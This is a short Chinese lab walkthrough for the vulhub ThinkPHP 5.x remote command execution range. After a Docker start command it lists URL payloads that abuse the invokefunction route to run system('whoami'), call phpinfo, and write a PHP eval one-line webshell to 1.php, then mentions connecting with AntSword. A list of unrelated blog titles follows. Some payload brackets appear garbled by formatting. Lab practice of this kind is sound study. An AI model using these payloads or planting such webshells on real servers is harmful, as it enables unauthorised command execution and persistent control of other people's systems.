Thinkphp5x远程命令执行 靶场攻略

环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

漏洞复现

1.访问靶场:http://172.16.1.198:8080/

2.远程命令执⾏

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1

\[\]=whoami

3.远程代码执行

POC:

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars[

1]\[\]=-1

4.写入一句话木马到根目录下的1.php

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=echo "<?php @eval(\$_POSTcmd);?>" > 1.php

5.蚁剑连接

相关推荐
云烟成雨TD3 小时前
Spring AI 1.x 系列【56】用大模型评判大模型:递归顾问实现自动化评估方案
人工智能·spring·自动化
杨了个杨89823 小时前
Keepalived + Nginx + HAProxy 高可用架构部署实战案例
java·nginx·架构
陈鋆5 小时前
Spring AI Framework(二:模块分析)
spring·ai
IT_陈寒5 小时前
Redis持久化这个坑,我爬了一整天才出来
前端·人工智能·后端
无风听海5 小时前
多租户系统中的 OIDC:Discovery 端点与联合登录的深度实践
后端·python·flask
小小前端仔LC6 小时前
Node.js + LangChain + React:搭建个人知识库(六)- “吃什么”项目实战:从700+菜谱入库到Taro H5端JSON渲染
前端·后端
马士兵教育6 小时前
Java还有前景吗?Java+AI大模型学习路线及项目?
java·人工智能·python·学习·机器学习
程序员黑豆6 小时前
AI全栈开发之Java:怎么配置Java环境变量
前端·后端·ai编程
snow@li6 小时前
Java:理解 Gradle / 后端项目的管家 / 打包SpringBoot 应用 / 完成编译、下载依赖、运行测试、打包 JAR/WAR / 速查表
java
云烟成雨TD6 小时前
Spring AI 1.x 系列【52】可观测集成 SkyWalking
人工智能·spring·skywalking